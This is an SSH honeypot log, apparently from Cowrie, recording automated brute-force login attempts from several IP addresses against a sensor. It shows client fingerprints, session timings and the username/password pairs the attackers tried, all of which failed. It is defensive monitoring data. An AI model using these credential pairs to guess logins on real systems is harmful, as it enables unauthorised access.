{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:31.457985Z","src_ip":"45.156.87.147","session":"bd15983e5084","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:31.542740Z","src_ip":"45.156.87.147","session":"bd15983e5084","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:31.790395Z","src_ip":"45.156.87.147","session":"bd15983e5084","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"printer","password":"123456","message":"login attempt [printer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:32.322579Z","src_ip":"103.252.123.105","session":"c5f72b1bd3f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:32.875311Z","src_ip":"45.156.87.147","session":"bd15983e5084","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:32.955524Z","src_ip":"91.92.42.227","session":"a2bfc7efc46d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:33.549207Z","src_ip":"103.252.123.105","session":"c5f72b1bd3f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":33930,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d65ec5609f4","protocol":"ssh","message":"New connection: 91.92.42.227:33930 (10.17.0.5:22) [session: 7d65ec5609f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:34.614554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:35.235730Z","src_ip":"91.92.42.227","session":"7d65ec5609f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:35.246663Z","src_ip":"91.92.42.227","session":"7d65ec5609f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":36940,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0a6882fecd3","protocol":"ssh","message":"New connection: 45.156.87.147:36940 (10.17.0.5:22) [session: c0a6882fecd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:37.421687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:37.426035Z","src_ip":"45.156.87.147","session":"c0a6882fecd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:37.510925Z","src_ip":"45.156.87.147","session":"c0a6882fecd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba123456","message":"login attempt [dmdba/dmdba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:37.760659Z","src_ip":"45.156.87.147","session":"c0a6882fecd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:38.113837Z","src_ip":"91.92.42.227","session":"7d65ec5609f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:38.878812Z","src_ip":"45.156.87.147","session":"c0a6882fecd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:39.497097Z","src_ip":"91.92.42.227","session":"7d65ec5609f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38848,"dst_ip":"10.17.0.5","dst_port":22,"session":"418cc70f278a","protocol":"ssh","message":"New connection: 91.92.42.227:38848 (10.17.0.5:22) [session: 418cc70f278a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:42.840413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:43.071648Z","src_ip":"91.92.42.227","session":"418cc70f278a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:43.075278Z","src_ip":"91.92.42.227","session":"418cc70f278a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":35446,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a137f534a67","protocol":"ssh","message":"New connection: 45.156.87.147:35446 (10.17.0.5:22) [session: 5a137f534a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:43.298795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:43.302520Z","src_ip":"45.156.87.147","session":"5a137f534a67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:43.391174Z","src_ip":"45.156.87.147","session":"5a137f534a67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:43.664924Z","src_ip":"45.156.87.147","session":"5a137f534a67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwe123456","message":"login attempt [user/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:44.433256Z","src_ip":"91.92.42.227","session":"418cc70f278a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:44.748547Z","src_ip":"45.156.87.147","session":"5a137f534a67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:45.890051Z","src_ip":"91.92.42.227","session":"418cc70f278a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43164,"dst_ip":"10.17.0.5","dst_port":22,"session":"8198b228bdf3","protocol":"ssh","message":"New connection: 91.92.42.227:43164 (10.17.0.5:22) [session: 8198b228bdf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:49.363745Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49612,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4ccae6cdf10","protocol":"ssh","message":"New connection: 45.156.87.147:49612 (10.17.0.5:22) [session: f4ccae6cdf10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:49.429389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:49.433424Z","src_ip":"45.156.87.147","session":"f4ccae6cdf10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:49.514648Z","src_ip":"45.156.87.147","session":"f4ccae6cdf10","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:49.640651Z","src_ip":"91.92.42.227","session":"8198b228bdf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:49.644174Z","src_ip":"91.92.42.227","session":"8198b228bdf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"Wangsu@2017","message":"login attempt [cloud/Wangsu@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:49.763423Z","src_ip":"45.156.87.147","session":"f4ccae6cdf10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:50.847723Z","src_ip":"45.156.87.147","session":"f4ccae6cdf10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:51.682231Z","src_ip":"91.92.42.227","session":"8198b228bdf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:53.183369Z","src_ip":"91.92.42.227","session":"8198b228bdf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49618,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a0a4d53bc94","protocol":"ssh","message":"New connection: 45.156.87.147:49618 (10.17.0.5:22) [session: 4a0a4d53bc94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:55.415504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:55.419932Z","src_ip":"45.156.87.147","session":"4a0a4d53bc94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:55.503441Z","src_ip":"45.156.87.147","session":"4a0a4d53bc94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:55.758822Z","src_ip":"45.156.87.147","session":"4a0a4d53bc94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55918,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1c322c6d572","protocol":"ssh","message":"New connection: 91.92.42.227:55918 (10.17.0.5:22) [session: a1c322c6d572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:56.932539Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:56.935286Z","src_ip":"45.156.87.147","session":"4a0a4d53bc94","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:08:57.101594Z","src_ip":"91.92.42.227","session":"a1c322c6d572","protocol":"ssh"}
